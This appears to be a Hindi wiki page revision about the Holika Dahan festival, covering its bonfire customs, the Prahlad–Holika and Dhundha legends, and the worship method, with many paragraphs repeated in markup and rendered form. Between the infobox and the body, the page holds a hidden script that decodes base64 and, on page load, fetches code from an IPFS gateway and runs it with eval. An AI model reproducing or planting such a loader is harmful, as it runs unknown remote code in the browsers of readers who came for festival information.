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|अनुयायी = [[हिंदू]], भारतीय
 
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|उत्सव =एक [[माह]] पूर्व अर्थात् [[माघ पूर्णिमा]] को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है।
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|उत्सव =एक [[माह]] पूर्व अर्थात् [[माघ पूर्णिमा]] को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है।
 
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|धार्मिक मान्यता = प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में मनाया जाता है।
 
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|अन्य जानकारी= इस पर्व को '''नवान्नेष्टि यज्ञपर्व''' भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इस दिन [[यज्ञ]] में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को 'होला' कहते है। इसी से इसका नाम '''होलिकोत्सव''' पड़ा।   
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|अन्य जानकारी= इस पर्व को 'नवान्नेष्टि यज्ञपर्व' भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इस दिन [[यज्ञ]] में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को 'होला' कहते है। इसी से इसका नाम 'होलिकोत्सव' पड़ा।   
 
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'''होलिका दहन''' [[पूर्ण चंद्रमा]]<ref> [[फाल्गुन]] [[पूर्णिमा]]</ref> के [[दिन]] ही होता है। इस दिन सायंकाल को होली जलाई जाती है। एक [[माह]] पूर्व अर्थात् [[माघ पूर्णिमा]] को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और [[फाल्गुन]] [[पूर्णिमा]] की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। इसी अलाव को होली कहा जाता है। होली की अग्नि में सूखी पत्तियाँ, टहनियाँ, व सूखी लकड़ियाँ डाली जाती हैं, तथा लोग इसी अग्नि के चारों ओर [[नृत्य]] व [[संगीत]] का आनन्द लेते हैं। [[बसंत ऋतु|बसंतागमन]] के लोकप्रिय [[गीत]] [[प्रह्लाद|भक्त प्रहलाद]] की रक्षा की स्मृति में गाये जाते हैं तथा उसकी क्रूर बुआ [[होलिका]] की भी याद दिलाते हैं। कई समुदायों में होली में जौ की बालियाँ भूनकर खाने की परंपरा है। ऐसा विश्वास किया जाता है कि आगामी फ़सल कैसी होगी, इसका अनुमान होली की शिखाएँ किस ओर उड़ रही हैं तथा भुने हुए जौ के दानों के [[रंग]] व स्वाद से लगाया जा सकता है। होली के अलाव की राख में कुछ औषधि गुण भी पाए जाते हैं, ऐसी लोगों की धारणा है। लोग होली के अलाव अंगारों को घर ले जाते हैं तथा उसी से घर में महिलाएँ होली पर बनाई हुई 'गोबर की घुरघुली' जलाती हैं। कुछ क्षेत्रों में लोग होली की आग को साल भर सुरक्षित रखते हैं और इससे चूल्हे जलाते हैं।  
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'''होलिका दहन''' [[पूर्ण चंद्रमा]]<ref> [[फाल्गुन]] [[पूर्णिमा]]</ref> के [[दिन]] ही होता है। इस दिन सायंकाल को होली जलाई जाती है। एक [[माह]] पूर्व अर्थात् [[माघ पूर्णिमा]] को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और [[फाल्गुन]] [[पूर्णिमा]] की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। इसी अलाव को होली कहा जाता है। होली की अग्नि में सूखी पत्तियाँ, टहनियाँ, व सूखी लकड़ियाँ डाली जाती हैं, तथा लोग इसी अग्नि के चारों ओर [[नृत्य]] व [[संगीत]] का आनन्द लेते हैं। [[बसंत ऋतु|बसंतागमन]] के लोकप्रिय [[गीत]] [[प्रह्लाद|भक्त प्रहलाद]] की रक्षा की स्मृति में गाये जाते हैं तथा उसकी क्रूर बुआ [[होलिका]] की भी याद दिलाते हैं।
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==धार्मिक विश्वास==
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कई समुदायों में होली में [[जौ]] की बालियाँ भूनकर खाने की परंपरा है। ऐसा विश्वास किया जाता है कि आगामी फ़सल कैसी होगी, इसका अनुमान होली की शिखाएँ किस ओर उड़ रही हैं तथा भुने हुए जौ के दानों के [[रंग]] व स्वाद से लगाया जा सकता है। होली के अलाव की राख में कुछ औषधि गुण भी पाए जाते हैं, ऐसी लोगों की धारणा है। लोग होली के अलाव अंगारों को घर ले जाते हैं तथा उसी से घर में महिलाएँ होली पर बनाई हुई [[गोबर]] की घुरघुली जलाती हैं। कुछ क्षेत्रों में लोग होली की आग को साल भर सुरक्षित रखते हैं और इससे चूल्हे जलाते हैं।  
 
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==इतिहास==
 
==इतिहास==
प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में मनाया जाता है। [[पुराण|पुराणों]] में वर्णित है कि हिरण्यकशिपु ने अपनी बहन होलिका वरदान के प्रभाव से नित्य अग्निस्नान करती और जलती नहीं थी हिरण्यकशिपु ने अपनी बहन होलिका से [[प्रह्लाद]] को गोद में लेकर अग्निस्नान करने को कहा। उसने समझा कि ऐसा करने से प्रह्लाद अग्नि में जल जाएगा तथा होलिका बच जाएगी। होलिका ने ऐसा ही किया, किंतु होलिका जल गयी, प्रह्लाद बच गये। होलिका को यह स्मरण ही नहीं रहा कि अग्नि स्नान वह अकेले ही कर सकती है। तभी से इस त्योहार के मनाने की प्रथा चल पड़ी।[[चित्र:Holi-Holika-Dahan-Mathura.jpg|होलिका दहन, [[मथुरा]]|thumb|left]]
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प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में मनाया जाता है। [[पुराण|पुराणों]] में वर्णित है कि हिरण्यकशिपु की बहन होलिका को एक वरदान प्राप्त था। इस वरदान के प्रभाव से वह नित्य अग्निस्नान करती थी और जलती नहीं थी। हिरण्यकशिपु ने अपने राज्य में यह घोषणा कर रखी थी कि समस्त प्रजा उसे ही अपना भगवान माने और उसकी पूजा करे। जबकि उसका पुत्र [[प्रह्लाद]] [[विष्णु|भगवान विष्णु]] का परम [[भक्त]] था। हिरण्यकशिपु ने पह्लाद को समाप्त करने के कई प्रयत्न किए, किंतु प्रत्येक बार भगवान की कृपा से वह बच गया। यह जान लेने के बाद कि उसकी बहन होलिका को अग्नि में न जल पाने का वरदान प्राप्त है, उसने बहन होलिका से प्रह्लाद को गोद में लेकर अग्निस्नान करने को कहा। उसने समझा कि ऐसा करने से प्रह्लाद अग्नि में जल जाएगा तथा होलिका बच जाएगी। होलिका ने ऐसा ही किया, किंतु इस बार भी विष्णु की कृपा प्रह्लाद पर हुई, जिससे प्रह्लाद तो बच गया, लेकिन होलिका जलकर भस्म हो गई। होलिका को यह स्मरण ही नहीं रहा कि अग्नि स्नान वह अकेले ही कर सकती है। तभी से इस त्योहार के मनाने की प्रथा चल पड़ी।[[चित्र:Holi-Holika-Dahan-Mathura.jpg|होलिका दहन, [[मथुरा]]|thumb|left]]
 
====होलिका====
 
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[[हेमाद्रि]]<ref>व्रत, भाग 2, पृ0 174-190</ref> ने भविष्योत्तर<ref>भविष्योत्तर, 132।1।51</ref> से उद्धरण देकर एक कथा दी है। [[युधिष्ठिर]] ने [[कृष्ण]] से पूछा कि फाल्गुन-पूर्णिमा को प्रत्येक गाँव एवं नगर में एक उत्सव क्यों होता है, प्रत्येक घर में बच्चे क्यों क्रीड़ामय हो जाते हैं और होलाका क्यों जलाते हैं, उसमें किस [[देवता]] की पूजा होती है, किसने इस उत्सव का प्रचार किया, इसमें क्या होता है और यह 'अडाडा' क्यों कही जाती है। कृष्ण ने युधिष्ठिर से [[राजा रघु]] के विषय में एक किंवदन्ती कही। राजा रघु के पास लोग यह कहने के लिए गये कि 'ढोण्ढा' नामक एक राक्षसी है जिसे [[शिव]] ने वरदान दिया है कि उसे [[देव]], मानव आदि नहीं मार सकते हैं और न वह [[अस्त्र शस्त्र]] या [[जाड़ा]] या [[गर्मी]] या [[वर्षा]] से मर सकती है, किन्तु शिव ने इतना कह दिया है कि वह क्रीड़ायुक्त बच्चों से भय खा सकती है। [[पुरोहित]] ने यह भी बताया कि फाल्गुन की पूर्णिमा को जाड़े की ऋतु समाप्त होती है और ग्रीष्म ऋतु का आगमन होता है, तब लोग हँसें एवं आनन्द मनायें, बच्चे लकड़ी के टुकड़े लेकर बाहर प्रसन्नतापूर्वक निकल पड़ें, लकड़ियाँ एवं घास एकत्र करें, रक्षोघ्न मन्त्रों के साथ उसमें आग लगायें, तालियाँ बजायें, अग्नि की तीन बार प्रदक्षिणा करें, हँसें और प्रचलित भाषा में भद्दे एवं अश्लील गाने गायें, इसी शोरगुल एवं अट्टहास से तथा होम से वह राक्षसी मरेगी। जब राजा ने यह सब किया तो राक्षसी मर गयी और वह दिन अडाडा या होलिका कहा गया। आगे आया है कि दूसरे दिन [[चैत्र]] की [[प्रतिपदा]] पर लोगों को होलिकाभस्म को प्रणाम करना चाहिए, मन्त्रोच्चारण करना चाहिए, घर के प्रांगण में वर्गाकार स्थल के मध्य में काम-पूजा करनी चाहिए। काम-प्रतिमा पर सुन्दर नारी द्वारा [[चन्दन]]-लेप लगाना चाहिए और पूजा करने वाले को चन्दन-लेप से मिश्रित आम्र-बौर खाना चाहिए। इसके उपरान्त यथाशक्ति [[ब्राह्मण|ब्राह्मणों]], भाटों आदि को दान देना चाहिए और 'काम देवता मुझ पर प्रसन्न हों' ऐसा कहना चाहिए। इसके आगे [[पुराण]] में आया है- 'जब [[शुक्ल पक्ष |शुक्ल पक्ष]] की 15वीं तिथि पर पतझड़ समाप्त हो जाता है और [[वसन्त ऋतु]] का प्रात: आगमन होता है तो जो व्यक्ति चन्दन-लेप के साथ आम्र-मंजरी खाता है वह आनन्द से रहता है।'
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[[हेमाद्रि]]<ref>व्रत, भाग 2, पृ0 174-190</ref> ने भविष्योत्तर<ref>भविष्योत्तर, 132।1।51</ref> से उद्धरण देकर एक कथा दी है। [[युधिष्ठिर]] ने [[कृष्ण]] से पूछा कि फाल्गुन-पूर्णिमा को प्रत्येक गाँव एवं नगर में एक उत्सव क्यों होता है, प्रत्येक घर में बच्चे क्यों क्रीड़ामय हो जाते हैं और होलाका क्यों जलाते हैं, उसमें किस [[देवता]] की पूजा होती है, किसने इस उत्सव का प्रचार किया, इसमें क्या होता है और यह 'अडाडा' क्यों कही जाती है। कृष्ण ने युधिष्ठिर से [[राजा रघु]] के विषय में एक किंवदन्ती कही। राजा रघु के पास लोग यह कहने के लिए गये कि 'ढोण्ढा' नामक एक राक्षसी है जिसे [[शिव]] ने वरदान दिया है कि उसे [[देव]], मानव आदि नहीं मार सकते हैं और न वह [[अस्त्र शस्त्र]] या [[जाड़ा]] या [[गर्मी]] या [[वर्षा]] से मर सकती है, किन्तु शिव ने इतना कह दिया है कि वह क्रीड़ायुक्त बच्चों से भय खा सकती है। [[पुरोहित]] ने यह भी बताया कि फाल्गुन की पूर्णिमा को जाड़े की ऋतु समाप्त होती है और ग्रीष्म ऋतु का आगमन होता है, तब लोग हँसें एवं आनन्द मनायें, बच्चे लकड़ी के टुकड़े लेकर बाहर प्रसन्नतापूर्वक निकल पड़ें, लकड़ियाँ एवं घास एकत्र करें, रक्षोघ्न मन्त्रों के साथ उसमें आग लगायें, तालियाँ बजायें, अग्नि की तीन बार प्रदक्षिणा करें, हँसें और प्रचलित भाषा में भद्दे एवं अश्लील गाने गायें, इसी शोरगुल एवं अट्टहास से तथा होम से वह राक्षसी मरेगी।
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जब राजा ने यह सब किया तो राक्षसी मर गयी और वह दिन 'अडाडा' या 'होलिका' कहा गया। आगे आया है कि दूसरे दिन [[चैत्र]] की [[प्रतिपदा]] पर लोगों को होलिकाभस्म को प्रणाम करना चाहिए, मन्त्रोच्चारण करना चाहिए, घर के प्रांगण में वर्गाकार स्थल के मध्य में काम-पूजा करनी चाहिए। काम-प्रतिमा पर सुन्दर नारी द्वारा [[चन्दन]]-लेप लगाना चाहिए और पूजा करने वाले को चन्दन-लेप से मिश्रित आम्र-बौर खाना चाहिए। इसके उपरान्त यथाशक्ति [[ब्राह्मण|ब्राह्मणों]], भाटों आदि को दान देना चाहिए और 'काम देवता मुझ पर प्रसन्न हों' ऐसा कहना चाहिए। इसके आगे [[पुराण]] में आया है- 'जब [[शुक्ल पक्ष |शुक्ल पक्ष]] की 15वीं तिथि पर पतझड़ समाप्त हो जाता है और [[वसन्त ऋतु]] का प्रात: आगमन होता है तो जो व्यक्ति चन्दन-लेप के साथ आम्र-मंजरी खाता है वह आनन्द से रहता है।'
 
[[चित्र:Holi Phalen Mathura.jpg|300px|thumb|फालैन गांव में तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव निकलता पण्डा]]
 
[[चित्र:Holi Phalen Mathura.jpg|300px|thumb|फालैन गांव में तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव निकलता पण्डा]]
==दहन की विधि==
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==दहन विधि==
 
'होलिका पूजन' के समय सभी को एक लोटा [[जल]], कुमकुम, [[चावल]], गंध, [[पुष्प]], कच्चा सूत, गुड़, साबुत [[हल्दी]], मूँग, बताशे, [[गुलाल]] और [[नारियल]] आदि से पूजन करना चाहिए। सूर्यास्त के बाद प्रदोष काल में होलिका में [[अग्नि]] प्रज्ज्वलित कर दी जाती है। अग्नि प्रज्ज्वलित होते ही डंडे को बाहर निकाल लिया जाता है। होलिका के चारों ओर कच्चे सूत को सात या तीन परिक्रमा करते हुए लपेटा जाता है। तत्पश्चात लोटे का शुद्ध जल व अन्य पूजन की सभी वस्तुओं को एक-एक करके होलिका को समर्पित किया जाता है। कुमकुम, चावल व पुष्प का [[पूजा]] में उपयोग किया जाता है। सुगंधित‍ फूलों का प्रयोग कर पंचोपचार विधि से [[होलिका]] का पूजन करके पूजन के बाद जल से अर्ध्य दिया जाता है।<ref name="aa">{{cite web |url= http://hindi.webdunia.com/holi-special/%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87-%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82-%E0%A4%B9%E0%A5%8B%E0%A4%B2%E0%A4%BF%E0%A4%95%E0%A4%BE-%E0%A4%A6%E0%A4%B9%E0%A4%A8-111031500030_1.htm|title= कैसे करें होलिका दहन|accessmonthday= 03 मार्च|accessyear= 2015|last= |first= |authorlink= |format= |publisher= वेबदुनिया|language= हिन्दी}}</ref>
 
'होलिका पूजन' के समय सभी को एक लोटा [[जल]], कुमकुम, [[चावल]], गंध, [[पुष्प]], कच्चा सूत, गुड़, साबुत [[हल्दी]], मूँग, बताशे, [[गुलाल]] और [[नारियल]] आदि से पूजन करना चाहिए। सूर्यास्त के बाद प्रदोष काल में होलिका में [[अग्नि]] प्रज्ज्वलित कर दी जाती है। अग्नि प्रज्ज्वलित होते ही डंडे को बाहर निकाल लिया जाता है। होलिका के चारों ओर कच्चे सूत को सात या तीन परिक्रमा करते हुए लपेटा जाता है। तत्पश्चात लोटे का शुद्ध जल व अन्य पूजन की सभी वस्तुओं को एक-एक करके होलिका को समर्पित किया जाता है। कुमकुम, चावल व पुष्प का [[पूजा]] में उपयोग किया जाता है। सुगंधित‍ फूलों का प्रयोग कर पंचोपचार विधि से [[होलिका]] का पूजन करके पूजन के बाद जल से अर्ध्य दिया जाता है।<ref name="aa">{{cite web |url= http://hindi.webdunia.com/holi-special/%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87-%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82-%E0%A4%B9%E0%A5%8B%E0%A4%B2%E0%A4%BF%E0%A4%95%E0%A4%BE-%E0%A4%A6%E0%A4%B9%E0%A4%A8-111031500030_1.htm|title= कैसे करें होलिका दहन|accessmonthday= 03 मार्च|accessyear= 2015|last= |first= |authorlink= |format= |publisher= वेबदुनिया|language= हिन्दी}}</ref>
  
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*सार्वजनिक होली से अग्नि लाकर घर में बनाई गई होली में अग्नि प्रज्ज्वलित की जाती है। अंत में सभी पुरुष कुमकुम का [[टीका]] लगाते है और महिलाएँ होली के गीत गाती हैं। इस दिन घर के बुजुर्गों के चरण छूकर मंगलमय जीवन का आशीर्वाद लिया जाता है। पौराणिक मान्यता के अनुसार होली की बची हुई अग्नि और राख को अगले दिन सुबह घर में लाने से घर का और परिवार के सभी सदस्यों का अशुभ शक्तियों से बचाव होता है।<ref name="aa"/>
 
*सार्वजनिक होली से अग्नि लाकर घर में बनाई गई होली में अग्नि प्रज्ज्वलित की जाती है। अंत में सभी पुरुष कुमकुम का [[टीका]] लगाते है और महिलाएँ होली के गीत गाती हैं। इस दिन घर के बुजुर्गों के चरण छूकर मंगलमय जीवन का आशीर्वाद लिया जाता है। पौराणिक मान्यता के अनुसार होली की बची हुई अग्नि और राख को अगले दिन सुबह घर में लाने से घर का और परिवार के सभी सदस्यों का अशुभ शक्तियों से बचाव होता है।<ref name="aa"/>
 
==होलिकोत्सव==
 
==होलिकोत्सव==
इस पर्व को '''नवान्नेष्टि यज्ञपर्व''' भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इस दिन [[यज्ञ]] में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को होला कहते है। इसी से इसका नाम '''होलिकोत्सव''' पड़ा। होली का समय अपने आप में अनूठा ही है। [[फ़रवरी]]- [[मार्च]] में जब होली मनाई जाती है, तब सब ओर चिंतामुक्त वातावरण होता है- किसान फ़सल कटने के बाद आश्वस्त होता है। पशुचारा तो संगृहित किया जा चुका होता है। शीत ऋतु अपने समापन पर होती है। दिन न तो बहुत गर्म, न ही रातें बहुत ठंडी होती हैं। होली [[फाल्गुन मास]] में [[पूर्ण चंद्रमा]] के दिन मनाई जाती है। यद्यपि यह [[उत्तर भारत]] में एक [[सप्ताह]] व [[मणिपुर]] में छह [[दिन]] तक मनाई जाती है। होली [[वर्ष]] का अंतिम तथा जनसामान्य का सबसे बड़ा त्योहार है। सभी लोग आपसी भेदभाव को भुलाकर इसे हर्ष व उल्लास के साथ मनाते हैं। होली पारस्परिक सौमनस्य एकता और समानता को बल देती है। विभिन्न देशों में इसके अलग-अलग नाम और रूप हैं। होलिका की अग्नि में पुराना वर्ष 'जो होली' के रूप में जल जाता है और नया वर्ष नयी आशाएँ, आकांक्षाएँ लेकर प्रकट होता है। मानव जीवन में नई ऊर्जा, नई स्फूर्ति का विकास होता है। यह '''[[हिन्दू|हिन्दुओं]] का नववर्षोत्सव''' है।
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इस पर्व को 'नवान्नेष्टि यज्ञपर्व' भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इस दिन [[यज्ञ]] में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को होला कहते है। इसी से इसका नाम 'होलिकोत्सव' पड़ा। होली का समय अपने आप में अनूठा ही है। [[फ़रवरी]]- [[मार्च]] में जब होली मनाई जाती है, तब सब ओर चिंतामुक्त वातावरण होता है- किसान फ़सल कटने के बाद आश्वस्त होता है। पशुचारा तो संगृहित किया जा चुका होता है। शीत ऋतु अपने समापन पर होती है। दिन न तो बहुत गर्म, न ही रातें बहुत ठंडी होती हैं। होली [[फाल्गुन मास]] में [[पूर्ण चंद्रमा]] के दिन मनाई जाती है। यद्यपि यह [[उत्तर भारत]] में एक [[सप्ताह]] व [[मणिपुर]] में छह [[दिन]] तक मनाई जाती है। होली [[वर्ष]] का अंतिम तथा जनसामान्य का सबसे बड़ा त्योहार है। सभी लोग आपसी भेदभाव को भुलाकर इसे हर्ष व उल्लास के साथ मनाते हैं। होली पारस्परिक सौमनस्य एकता और समानता को बल देती है। विभिन्न देशों में इसके अलग-अलग नाम और रूप हैं। होलिका की अग्नि में पुराना वर्ष 'जो होली' के रूप में जल जाता है और नया वर्ष नयी आशाएँ, आकांक्षाएँ लेकर प्रकट होता है। मानव जीवन में नई ऊर्जा, नई स्फूर्ति का विकास होता है। यह '[[हिन्दू|हिन्दुओं]] का नववर्षोत्सव' है।
  
 
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05:46, 3 मार्च 2015 का अवतरण

होलिका दहन
प्रह्लाद को गोद में बिठाकर बैठी होलिका
अन्य नाम 'होली पूजन', 'होलिकोत्सव'
अनुयायी हिंदू, भारतीय
प्रारम्भ पौराणिक काल
तिथि फाल्गुन पूर्णिमा
उत्सव एक माह पूर्व अर्थात् माघ पूर्णिमा को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है।
धार्मिक मान्यता प्रचलित मान्यता के अनुसार यह त्योहार हिरण्यकशिपु की बहन होलिका के मारे जाने की स्मृति में मनाया जाता है।
संबंधित लेख होली, होलिका, होलाष्टक, लट्ठमार होली
अन्य जानकारी इस पर्व को 'नवान्नेष्टि यज्ञपर्व' भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इस दिन यज्ञ में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को 'होला' कहते है। इसी से इसका नाम 'होलिकोत्सव' पड़ा।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

होलिका दहन पूर्ण चंद्रमा[1] के दिन ही होता है। इस दिन सायंकाल को होली जलाई जाती है। एक माह पूर्व अर्थात् माघ पूर्णिमा को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। इसी अलाव को होली कहा जाता है। होली की अग्नि में सूखी पत्तियाँ, टहनियाँ, व सूखी लकड़ियाँ डाली जाती हैं, तथा लोग इसी अग्नि के चारों ओर नृत्यसंगीत का आनन्द लेते हैं। बसंतागमन के लोकप्रिय गीत भक्त प्रहलाद की रक्षा की स्मृति में गाये जाते हैं तथा उसकी क्रूर बुआ होलिका की भी याद दिलाते हैं।

धार्मिक विश्वास

कई समुदायों में होली में जौ की बालियाँ भूनकर खाने की परंपरा है। ऐसा विश्वास किया जाता है कि आगामी फ़सल कैसी होगी, इसका अनुमान होली की शिखाएँ किस ओर उड़ रही हैं तथा भुने हुए जौ के दानों के रंग व स्वाद से लगाया जा सकता है। होली के अलाव की राख में कुछ औषधि गुण भी पाए जाते हैं, ऐसी लोगों की धारणा है। लोग होली के अलाव अंगारों को घर ले जाते हैं तथा उसी से घर में महिलाएँ होली पर बनाई हुई गोबर की घुरघुली जलाती हैं। कुछ क्षेत्रों में लोग होली की आग को साल भर सुरक्षित रखते हैं और इससे चूल्हे जलाते हैं।

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इतिहास

प्रचलित मान्यता के अनुसार यह त्योहार हिरण्यकशिपु की बहन होलिका के मारे जाने की स्मृति में मनाया जाता है। पुराणों में वर्णित है कि हिरण्यकशिपु की बहन होलिका को एक वरदान प्राप्त था। इस वरदान के प्रभाव से वह नित्य अग्निस्नान करती थी और जलती नहीं थी। हिरण्यकशिपु ने अपने राज्य में यह घोषणा कर रखी थी कि समस्त प्रजा उसे ही अपना भगवान माने और उसकी पूजा करे। जबकि उसका पुत्र प्रह्लाद भगवान विष्णु का परम भक्त था। हिरण्यकशिपु ने पह्लाद को समाप्त करने के कई प्रयत्न किए, किंतु प्रत्येक बार भगवान की कृपा से वह बच गया। यह जान लेने के बाद कि उसकी बहन होलिका को अग्नि में न जल पाने का वरदान प्राप्त है, उसने बहन होलिका से प्रह्लाद को गोद में लेकर अग्निस्नान करने को कहा। उसने समझा कि ऐसा करने से प्रह्लाद अग्नि में जल जाएगा तथा होलिका बच जाएगी। होलिका ने ऐसा ही किया, किंतु इस बार भी विष्णु की कृपा प्रह्लाद पर हुई, जिससे प्रह्लाद तो बच गया, लेकिन होलिका जलकर भस्म हो गई। होलिका को यह स्मरण ही नहीं रहा कि अग्नि स्नान वह अकेले ही कर सकती है। तभी से इस त्योहार के मनाने की प्रथा चल पड़ी।

होलिका दहन, मथुरा

होलिका

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हेमाद्रि[2] ने भविष्योत्तर[3] से उद्धरण देकर एक कथा दी है। युधिष्ठिर ने कृष्ण से पूछा कि फाल्गुन-पूर्णिमा को प्रत्येक गाँव एवं नगर में एक उत्सव क्यों होता है, प्रत्येक घर में बच्चे क्यों क्रीड़ामय हो जाते हैं और होलाका क्यों जलाते हैं, उसमें किस देवता की पूजा होती है, किसने इस उत्सव का प्रचार किया, इसमें क्या होता है और यह 'अडाडा' क्यों कही जाती है। कृष्ण ने युधिष्ठिर से राजा रघु के विषय में एक किंवदन्ती कही। राजा रघु के पास लोग यह कहने के लिए गये कि 'ढोण्ढा' नामक एक राक्षसी है जिसे शिव ने वरदान दिया है कि उसे देव, मानव आदि नहीं मार सकते हैं और न वह अस्त्र शस्त्र या जाड़ा या गर्मी या वर्षा से मर सकती है, किन्तु शिव ने इतना कह दिया है कि वह क्रीड़ायुक्त बच्चों से भय खा सकती है। पुरोहित ने यह भी बताया कि फाल्गुन की पूर्णिमा को जाड़े की ऋतु समाप्त होती है और ग्रीष्म ऋतु का आगमन होता है, तब लोग हँसें एवं आनन्द मनायें, बच्चे लकड़ी के टुकड़े लेकर बाहर प्रसन्नतापूर्वक निकल पड़ें, लकड़ियाँ एवं घास एकत्र करें, रक्षोघ्न मन्त्रों के साथ उसमें आग लगायें, तालियाँ बजायें, अग्नि की तीन बार प्रदक्षिणा करें, हँसें और प्रचलित भाषा में भद्दे एवं अश्लील गाने गायें, इसी शोरगुल एवं अट्टहास से तथा होम से वह राक्षसी मरेगी।

जब राजा ने यह सब किया तो राक्षसी मर गयी और वह दिन 'अडाडा' या 'होलिका' कहा गया। आगे आया है कि दूसरे दिन चैत्र की प्रतिपदा पर लोगों को होलिकाभस्म को प्रणाम करना चाहिए, मन्त्रोच्चारण करना चाहिए, घर के प्रांगण में वर्गाकार स्थल के मध्य में काम-पूजा करनी चाहिए। काम-प्रतिमा पर सुन्दर नारी द्वारा चन्दन-लेप लगाना चाहिए और पूजा करने वाले को चन्दन-लेप से मिश्रित आम्र-बौर खाना चाहिए। इसके उपरान्त यथाशक्ति ब्राह्मणों, भाटों आदि को दान देना चाहिए और 'काम देवता मुझ पर प्रसन्न हों' ऐसा कहना चाहिए। इसके आगे पुराण में आया है- 'जब शुक्ल पक्ष की 15वीं तिथि पर पतझड़ समाप्त हो जाता है और वसन्त ऋतु का प्रात: आगमन होता है तो जो व्यक्ति चन्दन-लेप के साथ आम्र-मंजरी खाता है वह आनन्द से रहता है।'

फालैन गांव में तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव निकलता पण्डा

दहन विधि

'होलिका पूजन' के समय सभी को एक लोटा जल, कुमकुम, चावल, गंध, पुष्प, कच्चा सूत, गुड़, साबुत हल्दी, मूँग, बताशे, गुलाल और नारियल आदि से पूजन करना चाहिए। सूर्यास्त के बाद प्रदोष काल में होलिका में अग्नि प्रज्ज्वलित कर दी जाती है। अग्नि प्रज्ज्वलित होते ही डंडे को बाहर निकाल लिया जाता है। होलिका के चारों ओर कच्चे सूत को सात या तीन परिक्रमा करते हुए लपेटा जाता है। तत्पश्चात लोटे का शुद्ध जल व अन्य पूजन की सभी वस्तुओं को एक-एक करके होलिका को समर्पित किया जाता है। कुमकुम, चावल व पुष्प का पूजा में उपयोग किया जाता है। सुगंधित‍ फूलों का प्रयोग कर पंचोपचार विधि से होलिका का पूजन करके पूजन के बाद जल से अर्ध्य दिया जाता है।[4]

होलिका पूजन के समय निम्नलिखित मंत्र का उच्चारण शुद्धता से करना चाहिए-

'अहकूटा भयत्रस्तैः कृता त्वं होलि बालिशैः अतस्वां पूजयिष्यामि भूति-भूति प्रदायिनीम्‌। मंत्र का उच्चारण करना चाहिए।

आहूति

होलिका दहन होने के बाद होलिका में वस्तुओं की आहुति दी जाती है, उनमें प्रमुख तौर पर कच्चे आम, नारियल, सात प्रकार के धान्य यानी गेहूँ, उड़द, मूँग, चना, जौ, चावल और मसूर आदि सात धान्यों से होलीका पूजन किया जाता है। इस पूजन के समय ध्यान में रखने योग्य बात यह है कि आपका मुँह पूर्व या उत्तर दिशा की ओर रखकर ही पूजा में उपरोक्त सामग्री का प्रयोग करें। साथ ही होली के समय आने वाली नई फ़सलों के धान्य को ख़ासकर होली में अर्पित करके पूजन किया जाता है और होलिका माँ से अच्छे धन-धान्य और अच्छे जीवन की माँग की जाती है।

विशेष तथ्य

  • होलिका दहन के मुहूर्त के समय जल, मौली, फूल, गुलाल तथा गुड़ आदि से होलिका का पूजन करने के बाद गोबर से बनाई गई ढाल व खिलौनों की चार मालाएँ, जिनमें पहली पितृ, दूसरी शीतला माँ, तीसरी राम भक्त हनुमान तथा चौथी अपने घर-परिवार के नाम की लाकर अलग से घर में सुरक्षित रख ली जाती है।
